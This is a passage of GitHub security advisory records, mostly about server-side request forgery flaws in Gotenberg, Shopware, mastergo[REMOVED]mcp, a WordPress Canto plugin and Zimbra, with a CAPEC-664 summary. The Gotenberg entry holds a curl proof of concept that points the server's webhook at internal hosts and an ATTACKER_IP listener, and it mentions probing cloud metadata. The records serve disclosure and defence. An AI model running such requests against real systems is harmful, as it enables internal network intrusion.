  "id": "GHSA-5vfc-gf4x-6fj8",
  "modified": "2024-04-04T00:49:40Z",
  "published": "2022-05-24T16:46:52Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2019-6981"
    },
    {
      "type": "WEB",
      "url": "https://bugzilla.zimbra.com/show_bug.cgi?id=109096"
    },
    {
      "type": "WEB",
      "url": "https://wiki.zimbra.com/wiki/Zimbra_Security_Advisories"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-5VH4-8356-P89C

Vulnerability from github – Published: 2026-07-15 00:31 – Updated: 2026-07-15 00:31
VLAI
Details

A weakness has been identified in mastergo-design mastergo-magic-mcp up to 0.2.0. Impacted is the function z.string of the file src/tools/get-component-link.ts of the component mcp__getComponentLink. Executing a manipulation of the argument url can lead to server-side request forgery. The attack may be performed from remote. The exploit has been made available to the public and could be used for attacks. The project was informed of the problem early through an issue report but has not responded yet.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2026-15750"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-07-14T22:16:52Z",
    "severity": "LOW"
  },
  "details": "A weakness has been identified in mastergo-design mastergo-magic-mcp up to 0.2.0. Impacted is the function z.string of the file src/tools/get-component-link.ts of the component mcp__getComponentLink. Executing a manipulation of the argument url can lead to server-side request forgery. The attack may be performed from remote. The exploit has been made available to the public and could be used for attacks. The project was informed of the problem early through an issue report but has not responded yet.",
  "id": "GHSA-5vh4-8356-p89c",
  "modified": "2026-07-15T00:31:40Z",
  "published": "2026-07-15T00:31:40Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-15750"
    },
    {
      "type": "WEB",
      "url": "https://github.com/mastergo-design/mastergo-magic-mcp/issues/89"
    },
    {
      "type": "WEB",
      "url": "https://github.com/mastergo-design/mastergo-magic-mcp"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/cve/CVE-2026-15750"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/submit/856633"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/vuln/378329"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/vuln/378329/cti"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:L",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-5VH4-RGV7-P9G4

Vulnerability from github – Published: 2026-04-30 17:24 – Updated: 2026-05-08 15:31
VLAI
Summary
Gotenberg Vulnerable to Unauthenticated SSRF via Unfiltered Webhook URL
Details

CVE Report — Unauthenticated SSRF via Unfiltered Webhook URL in Gotenberg

Severity

Field Value
CVSS v3.1 8.6 High
Vector AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N
CWE CWE-918 — Server-Side Request Forgery
Auth None

Affected: Gotenberg 8.29.1 — default gotenberg/gotenberg:8 Docker image.


Impact

An unauthenticated attacker with network access to Gotenberg can force it to make outbound HTTP POST requests to any internal or external destination by supplying an arbitrary URL in the Gotenberg-Webhook-Url request header.

This is a blind SSRF. Gotenberg POSTs the converted document to the webhook URL and checks only whether the response status code is an error (>= 400). The response body from the SSRF target is never forwarded to the attacker. The Gotenberg-Webhook-Error-Url header — if supplied — receives the original converted PDF when the webhook POST fails, not the target's response body.

The practical impact is therefore:

  • Internal network probing: if the error URL is NOT called, the target returned 2xx → host and port are open and accepting POST requests. If the error URL IS called, the target returned 4xx/5xx or timed out → port closed or service rejected the request. This allows mapping internal infrastructure one request at a time.
  • Forced POST to internal services: any internal service that performs a side effect on POST (triggering a webhook, writing state, executing a job) can be abused without reading its response.
  • Cloud metadata interaction: Gotenberg can be forced to POST to http://169.254.169.254/ — confirming reachability and probing available paths — but cannot read the credential response body through this channel alone.

The retryable client issues up to 4 automatic retries per request, meaning one attacker request generates up to 4 probes against the internal target.


Proof of Concept

# Minimal SSRF trigger — replace ATTACKER_IP with your listener & INTERNAL_IP with the target.
curl -s -o /dev/null -w "HTTP:%{http_code}" \
  -X POST 'http://TARGET:3000/forms/chromium/convert/url' \
  -H 'Gotenberg-Webhook-Url: http://INTERNAL_IP:9999/capture' \
  -H 'Gotenberg-Webhook-Error-Url: http://ATTACKER_IP:9999/error' \
  -F 'url=https://example.com'

Root Cause

FilterDeadline in filter.go is the intended URL gating function but its contract fails open: when both the allow and deny lists are empty (the default), it returns nil unconditionally, allowing any URL through.

func FilterDeadline(allowed, denied []*regexp2.Regexp, s string, deadline time.Time) error {
    if len(allowed) > 0 { ... }  // skipped — empty by default
    if len(denied) > 0  { ... }  // skipped — empty by default
    return nil                    // any URL passes
}

The unvalidated URL is then stored verbatim and used as the destination for an outbound retryablehttp request in client.go:62.


Recommendations

Gotenberg maintainers: Invert the default — deny all webhook URLs unless an explicit allowlist is configured, or ship a built-in denylist covering RFC-1918 and link-local ranges.

Operators (immediate):

# Restrict to your own receiver
--env GOTENBERG_API_WEBHOOK_ALLOW_LIST="https://my-receiver\.example\.com/.*"
# Or block internal ranges
--env GOTENBERG_API_WEBHOOK_DENY_LIST="^https?://(169\.254\.|10\.|172\.(1[6-9]|2[0-9]|3[01])\.|192\.168\.)"

Attribution

This is a Gotenberg-only issue. No third-party library is at fault. The root cause is an insecure default in FilterDeadline where an unconfigured state means "allow all" rather than "deny all".


Timeline

Date Event
2026-04-04 Vulnerability discovered
2026-04-05 SSRF confirmed — outbound POST captured at local listener
2026-04-05 Report drafted for disclosure
Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/gotenberg/gotenberg/v8"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "8.29.1"
            },
            {
              "fixed": "8.31.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-39383"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-04-30T17:24:33Z",
    "nvd_published_at": "2026-05-05T21:16:22Z",
    "severity": "MODERATE"
  },
  "details": "# CVE Report \u2014 Unauthenticated SSRF via Unfiltered Webhook URL in Gotenberg\n\n## Severity\n\n| Field     | Value                                  |\n|-----------|----------------------------------------|\n| CVSS v3.1 | **8.6 High**                           |\n| Vector    | `AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N` |\n| CWE       | CWE-918 \u2014 Server-Side Request Forgery  |\n| Auth      | None                                   |\n\n**Affected:** Gotenberg 8.29.1 \u2014 default `gotenberg/gotenberg:8` Docker image.\n\n---\n\n## Impact\n\nAn unauthenticated attacker with network access to Gotenberg can force it to make outbound HTTP POST requests to any internal or external destination by supplying an arbitrary URL in the `Gotenberg-Webhook-Url` request header.\n\n**This is a blind SSRF.** Gotenberg POSTs the converted document to the webhook URL and checks only whether the response status code is an error (\u003e= 400). The response body from the SSRF target is never forwarded to the attacker. The `Gotenberg-Webhook-Error-Url` header \u2014 if supplied \u2014 receives the original converted PDF when the webhook POST fails, not the target\u0027s response body.\n\nThe practical impact is therefore:\n\n- **Internal network probing:** if the error URL is NOT called, the target returned 2xx \u2192 host and port are open and accepting POST requests. If the error URL IS called, the target returned 4xx/5xx or timed out \u2192 port closed or service rejected the request. This allows mapping internal infrastructure one request at a time. \n- **Forced POST to internal services:** any internal service that performs a side effect on POST (triggering a webhook, writing state, executing a job) can be abused without reading its response.\n- **Cloud metadata interaction:** Gotenberg can be forced to POST to `http://169.254.169.254/` \u2014 confirming reachability and probing available paths \u2014 but cannot read the credential response body through this channel alone.\n\nThe retryable client issues up to 4 automatic retries per request, meaning one attacker request generates up to 4 probes against the internal target.\n\n---\n\n## Proof of Concept\n\n```bash\n# Minimal SSRF trigger \u2014 replace ATTACKER_IP with your listener \u0026 INTERNAL_IP with the target.\ncurl -s -o /dev/null -w \"HTTP:%{http_code}\" \\\n  -X POST \u0027http://TARGET:3000/forms/chromium/convert/url\u0027 \\\n  -H \u0027Gotenberg-Webhook-Url: http://INTERNAL_IP:9999/capture\u0027 \\\n  -H \u0027Gotenberg-Webhook-Error-Url: http://ATTACKER_IP:9999/error\u0027 \\\n  -F \u0027url=https://example.com\u0027\n```\n\n---\n\n## Root Cause\n\n`FilterDeadline` in `filter.go` is the intended URL gating function but its contract fails open: when both the allow and deny lists are empty (the default), it returns `nil` unconditionally, allowing any URL through.\n\n```go\nfunc FilterDeadline(allowed, denied []*regexp2.Regexp, s string, deadline time.Time) error {\n    if len(allowed) \u003e 0 { ... }  // skipped \u2014 empty by default\n    if len(denied) \u003e 0  { ... }  // skipped \u2014 empty by default\n    return nil                    // any URL passes\n}\n```\n\nThe unvalidated URL is then stored verbatim and used as the destination for an outbound `retryablehttp` request in `client.go:62`.\n\n---\n\n## Recommendations \n\n**Gotenberg maintainers:** Invert the default \u2014 deny all webhook URLs unless an explicit allowlist is configured, or ship a built-in denylist covering RFC-1918 and link-local ranges.\n\n**Operators (immediate):**\n```bash\n# Restrict to your own receiver\n--env GOTENBERG_API_WEBHOOK_ALLOW_LIST=\"https://my-receiver\\.example\\.com/.*\"\n# Or block internal ranges\n--env GOTENBERG_API_WEBHOOK_DENY_LIST=\"^https?://(169\\.254\\.|10\\.|172\\.(1[6-9]|2[0-9]|3[01])\\.|192\\.168\\.)\"\n```\n\n---\n\n## Attribution\n\nThis is a Gotenberg-only issue. No third-party library is at fault. The root cause is an insecure default in `FilterDeadline` where an unconfigured state means \"allow all\" rather than \"deny all\".\n\n---\n\n## Timeline\n\n| Date       | Event |\n|------------|-------|\n| 2026-04-04 | Vulnerability discovered |\n| 2026-04-05 | SSRF confirmed \u2014 outbound POST captured at local listener |\n| 2026-04-05 | Report drafted for disclosure |",
  "id": "GHSA-5vh4-rgv7-p9g4",
  "modified": "2026-05-08T15:31:10Z",
  "published": "2026-04-30T17:24:33Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/gotenberg/gotenberg/security/advisories/GHSA-5vh4-rgv7-p9g4"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-39383"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/gotenberg/gotenberg"
    },
    {
      "type": "WEB",
      "url": "https://github.com/gotenberg/gotenberg/releases/tag/v8.31.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Gotenberg Vulnerable to Unauthenticated SSRF via Unfiltered Webhook URL"
}

GHSA-5VMG-X99G-396Q

Vulnerability from github – Published: 2022-05-24 17:24 – Updated: 2023-08-22 14:38
VLAI
Summary
Shopware vulnerable to SSRF
Details

Shopware before 6.2.3 is vulnerable to a Server-Side Request Forgery (SSRF) in its "Mediabrowser upload by URL" feature. This allows an authenticated user to send HTTP, HTTPS, FTP, and SFTP requests on behalf of the Shopware platform server.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "shopware/platform"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "6.2.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2020-13970"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2023-07-13T21:05:17Z",
    "nvd_published_at": "2020-07-28T21:15:00Z",
    "severity": "HIGH"
  },
  "details": "Shopware before 6.2.3 is vulnerable to a Server-Side Request Forgery (SSRF) in its \"Mediabrowser upload by URL\" feature. This allows an authenticated user to send HTTP, HTTPS, FTP, and SFTP requests on behalf of the Shopware platform server.",
  "id": "GHSA-5vmg-x99g-396q",
  "modified": "2023-08-22T14:38:20Z",
  "published": "2022-05-24T17:24:28Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2020-13970"
    },
    {
      "type": "WEB",
      "url": "https://docs.shopware.com/en/shopware-6-en/security-updates/security-update-07-2020"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/shopware/platform"
    },
    {
      "type": "WEB",
      "url": "https://www.shopware.com/en/changelog/#6-2-3"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Shopware vulnerable to SSRF"
}

GHSA-5VMW-6F78-PJ9M

Vulnerability from github – Published: 2022-05-24 17:35 – Updated: 2022-05-24 17:35
VLAI
Details

The Canto plugin 1.3.0 for WordPress contains blind SSRF vulnerability. It allows an unauthenticated attacker can make a request to any internal and external server via /includes/lib/get.php?subdomain=SSRF.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2020-28977"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2020-11-30T14:15:00Z",
    "severity": "MODERATE"
  },
  "details": "The Canto plugin 1.3.0 for WordPress contains blind SSRF vulnerability. It allows an unauthenticated attacker can make a request to any internal and external server via /includes/lib/get.php?subdomain=SSRF.",
  "id": "GHSA-5vmw-6f78-pj9m",
  "modified": "2022-05-24T17:35:14Z",
  "published": "2022-05-24T17:35:14Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2020-28977"
    },
    {
      "type": "WEB",
      "url": "https://gist.github.com/p4nk4jv/87aebd999ce4b28063943480e95fd9e0"
    },
    {
      "type": "WEB",
      "url": "https://github.com/CantoDAM/Canto-Wordpress-Plugin"
    },
    {
      "type": "WEB",
      "url": "https://wordpress.org/plugins/canto/#developers"
    },
    {
      "type": "WEB",
      "url": "https://www.canto.com/integrations/wordpress"
    },
    {
      "type": "WEB",
      "url": "http://packetstormsecurity.com/files/160358/WordPress-Canto-1.3.0-Server-Side-Request-Forgery.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

No mitigation information available for this CWE.

CAPEC-664: Server Side Request Forgery

An adversary exploits improper input validation by submitting maliciously crafted input to a target application running on a server, with the goal of forcing the server to make a request either to itself, to web services running in the server’s internal network, or to external third parties. If successful, the adversary’s request will be made with the server’s privilege level, bypassing its authentication controls. This ultimately allows the adversary to access sensitive data, execute commands on the server’s network, and make external requests with the stolen identity of the server. Server Side Request Forgery attacks differ from Cross Site Request Forgery attacks in that they target the server itself, whereas CSRF attacks exploit an insecure user authentication mechanism to perform unauthorized actions on the user's behalf.